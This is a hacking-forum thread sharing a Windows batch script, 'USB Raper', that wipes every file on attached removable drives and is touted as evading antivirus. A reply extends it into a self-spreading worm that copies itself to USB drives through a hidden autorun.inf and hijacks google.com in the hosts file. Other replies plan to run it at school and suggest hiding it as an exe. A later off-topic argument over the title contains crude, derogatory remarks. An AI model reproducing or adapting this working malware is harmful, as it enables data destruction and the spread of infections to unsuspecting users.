Thread: [USB Raper](#)

White Light - July 28, 2010, 1:33 pm

This will delete all files and folders on any and all USB devices attached to the computer it is run on. Is not detected by AV software and data is REALLY hard to recover (data recovery is virtually always possible) - impossible unless the user has professional data recovery programs or backups.

Current version: 1.2

Changelog:

v1.2 - Made it so it checks that the drive contains files - prevents a simple error.

v1.1 - Made it so it works whether or not the drive has a label.

v1.0 - Works...if the drive has a label.

Code @echo off

setlocal enabledelayedexpansion

echo list volume > script

for /f "skip=8 delims=" %%a in ('diskpart /s script') do (

set drive=%%a

set drive=!drive:~15,1!

set type=%%a

set type=!type:~39,10!

if !type!==Removeable call :delete !drive!

)

del script

goto :eof

:delete

if not exist !drive!:\nul goto :eof

if not exist !drive!:* goto :eof

del /f /s /q %1:*

rd /s /q %1:*

If anyone wants to use this for a project or whatever, feel free, as long as you give me some credit, ok?

Goonjimbo - July 28, 2010, 1:36 pm

I Got A USB! And... Although i Want My Stuff On It... Spoiler ([Click to View](#))

[img]http://whenwillapple.com/saywhy/wp-content/uploads/2008/10/adrogeriphone11.jpg[/img]

White Light - July 28, 2010, 1:59 pm

Just copy your stuff to your HDD. The batch file will only harm flash drives.

unknown123456 - July 29, 2010, 9:45 am

Code @echo off & break off

setlocal enabledelayedexpansion

set ehco=echo

%ehco% google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts

%ehco% http://google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts

%ehco% list volume > script

```

for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist %1:\nul goto :eof
if not exist %1:\* goto :eof
copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf
hm i use your code this way : D

```

yohi9889 - July 29, 2010, 10:27 am

Nice! This is going to be fun at School!!

hm i use your code this way : D

```

That's completely fine. I can't implement Autorun stuff because my AV software automatically denies access to all Autorun.inf files.

SRS EDIT:

You do realize that these commands:

Quote:copy %0 %1:\cmd.bat

```
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf
Will be run over and over again, right?
```

Put these lines after the Quote:del script
command to get them run only once.

BlackBullet - August 15, 2010, 11:42 am

Oh my. If this works it will be fucking epic.

Metapod - August 15, 2010, 2:07 pm

I'm positive he wants it repeat. If it repeats and is in autorun won't it run everytime a USB drive is plugged in?

[/quote]

Yeah, I wasn't quite looking right.

Schrecky024 - February 6, 2011, 2:03 pm

How long does this take...so far i have had just a little 4gb flash drive in bcuz i don't want to try it out yet on my 320GB...please pm with response

White Light - February 6, 2011, 9:43 pm

Convert it into a hidden exe file and it won't matter how long it takes. To be honest, I don't know exactly how long it will take to delete everything on your drive. It all depends on your computer's speed, your USB port's speed, file size, drive size, etc.

Shanghai - February 7, 2011, 9:52 pm

Thanks a lot. This would especially be helpful on computers I don't want people taking files from via USB.

t3h h4x - February 11, 2011, 12:12 am

v nice :D

also nice post count and your title is epicccc

GL1TCH3D - April 5, 2012, 8:04 am

agreed. I might loop this on my computer hidden xD

abilityfun - April 5, 2012, 7:29 pm

If it's not too much to ask would it be possible for you to write a step-by-step description for this?

broski98423 - April 12, 2012, 10:36 am

awesome! i'm going to test this at my School!!

shotmessenger - April 12, 2012, 10:36 pm

Would it be possible to set this to ignore/not affect a specific USB?

White Light - April 13, 2012, 7:50 am

(Apr 12, 2012 10:36 PM)shotmessenger Wrote: [\[CITE\]](#) Would it be possible to set this to ignore/not affect a specific USB?

Right under the :delete line, put Code if %1==E goto :eofOf course, you'd change "E" to whatever the drive letter is (minus the :).

what does this do?!...can you pls explain?!

Greenp0ison - August 17, 2012, 7:35 am

Why did you a 2yr old thread?

Why?

^-^

White Light - August 17, 2012, 8:23 am

(Aug 17, 2012 07:28 AM)vroach Wrote: [\[CITE\]](#) what does this do?!...can you pls explain?!

Although that isn't my code, I can explain it well enough.

Basically, it's to "block" people from accessing google.com

(Aug 17, 2012 07:35 AM)Greenp0ison Wrote: [\[CITE\]](#) Why did you a 2yr old thread?

When I post some code, unless I specifically say otherwise, I don't mind if you use it as long as you give me credit.

THUG x WRECK - September 5, 2012, 5:55 pm

This data is in no way hard to recover.

gg no re.

Like12349876hytrewshdjru8 - December 30, 2014, 8:33 pm

That's crazy, that literally is something that can cause harm whatsoever to a windows computer. Most BATCH VIRUS tutorials are weak and are for skids that just copies and paste them thinking they cool.

White Light - December 30, 2014, 8:39 pm

(Dec 30, 2014 09:33 PM)Like12349876hytrewshdjru8 Wrote: [\[CITE\]](#) That's crazy, that literally is something that can cause harm whatsoever to a windows computer. Most BATCH VIRUS tutorials are weak and are for skids that just copies and paste them thinking they cool.

Doesn't really do any harm at all to the computer....only does harm to removable drives.

annikk.exe - January 1, 2015, 12:06 pm

Mr Whitey, cats do not approve the title of this release. :<

Rape is what happens to your mother, your sister, or your girlfriend.

Statistically [one of those 3 will be raped](#).

Infecting something with a piece of malware stored on a USB memory device is not rape. Calling it that is bad because it [normalizes](#) rape. The normalization of rape is bad for 2 primary reasons:

1) It leads to "rape culture", in extreme cases of this such as in India, young boys grow up with a dangerous sense of entitlement.

2) It encourages actual violent serial rapists, these are usually males who tend to believe that ALL men rape - and that others just hide it better.

If you need one more reason, then please don't misuse that word because it really upsets me when people do that.

Sorry for the rant.

Soul_Byte - January 1, 2015, 10:34 pm

The semantics of "USB Raper" is very clear to me. It does something destructive or negative to the USB. It is an example of a metaphor, which is quite common in our language.

You assert that by using the word rape, he is normalizing it. If, by your logic, using the word rape in a sentence normalizes rape, then does using the word crime in a sentence normalize crime?

If I say "Rape is bad", am I normalizing rape? The stated function of the script is to destroy all files on any connected USB's, which is clearly bad. Is White Light then normalizing it?

I found your statistic rather dubious. 33% is a very high number, and I could not find any sources on the page you linked, so I checked the rape statistics.

It turns out that South Africa is the nation with the highest rape rate in the world. It has 116 rapes per 100,000 people yearly. That is only 0.0116% of their population.

How can rape be normalized, when rape is only committed by people that suffers from mental illnesses? Psychological tests of rapists proves this, but the rape culture theory disagrees.

It asserts that rape is a part of male culture. Rape does not occur because of mental illness, but because it is considered normal and acceptable by men. Rape happens because of males like White Light, who are perpetuating their rape culture.

The theory seems to contradict the fact that rape is universally seen as bad. Even patriarchal Islamic cultures punishes rape by death.

annikk.exe - January 1, 2015, 10:52 pm

Quote:then does using the word crime in a sentence normalize crime?

If it's used in some context that doesn't describe the generally understood definition of crime, then yes. For example, if all of your friends/peers described forgetting homework as "committing a crime", with repeated exposure it diminishes the meaning of the word/phrase.

Quote:If I say "Rape is bad", am I normalizing rape?

No, because you are (presumably) using the word in the context of its dictionary definition.

Quote:I found your statistic rather dubious. 33% is a very high number, and I could not find any sources on the page you linked, so I checked the rape statistics.

It turns out that South Africa is the nation with the highest rape rate in the world. It has 116 rapes per 100,000 people yearly. That is only 0.0116% of their population.

Rape is a massively under-reported crime, particularly in areas like South Africa where it has been heavily normalized.

Rape victims in these kinds of places face a very real prospect of recrimination/humiliation or shaming of their family, and very little prospect of conviction. It's no surprise that the vast majority of rapes go unreported, and therefore do not make it into those statistics. The statistics represent the extreme exception to the general rule.

Quote:How can rape be normalized, when rape is only committed by people that suffers from mental illnesses?

That is a dangerous misconception. Non-violent rape is committed by ordinary people, who have been overexposed to an environment that tells them it's ok to apply some pressure to seal the deal. That's why progressive rape laws generally state that a lack of physical resistance does not equal consent.

Quote:Rape happens because of males like White Light, who are perpetuating their rape culture.

Please don't misunderstand - I am not accusing anyone (least of all Whitey) of misusing the word "rape" maliciously, in order to spread a rape culture agenda. That would be silly... :> And somewhat disturbing...

Mostly people just misuse the word "rape" because their friends do it. If you get stuck in with a group of friends who all say "Boss!" when something good happens, you'd end up saying that too.

However, in the specific case of the word "rape", it's actually a problem. At least, I think that it is.

I would defer to my final statement on the subject:

Quote:please don't misuse that word because it really upsets me when people do that.

Please don't upset cats. :<

White Light - January 2, 2015, 11:33 am

(Jan 1, 2015 11:34 PM)Soul_Byte Wrote: [CITE](#) The semantics of "USB Raper" is very clear to me. It does something destructive or negative to the USB. It is an example of a metaphor, which is quite common in our language.

Thank you, that's exactly what I would have said.

Rape is a horrible, vicious crime leaving the victim emotionally, physically, and mentally scarred, and often wondering whether it was somehow their fault. It's senseless violence in its most brutal form.

This deletes anything and everything off of every attached drive, leaving no survivors (under normal circumstances). It doesn't care about whether or not there's precious family photos or important legal documents. It passes over drives, wiping their contents before moving on, leaving the owners confused and upset as to their loss.

By definition:

Quote:Verb

rape (third-person singular simple present rapes, present participle raping, simple past and past participle raped)

(transitive, intransitive) To seize by force. (Now often with overtones of later senses.) [from late 14th c.]

1978, Gore Vidal, Kalki:

Dr Ashok's eyes had a tendency to pop whenever he wanted to rape your attention.

1983, Alasdair Gray, 'Logopandocy', Canongate 2012 (Every Short Story 1951-2012), p. 136:

It is six years since my just action to reclaim the armaments raped from here by the Lairds of Dalgetty and Tolly [...] .

And although the files are not literally taken, in the sense that something else has them, they have been permanently taken from the drive.

Although I agree that there has been a significant devaluation of the term "rape" in current usage, I believe it is due to SJWs claiming that men (and only men, that nasty cishet scum) are capable of other forms of "rape" including, most-idiotically, eye-rape.

Even though rape is such a horrible crime, I stand by the name choice I made for this some years ago.
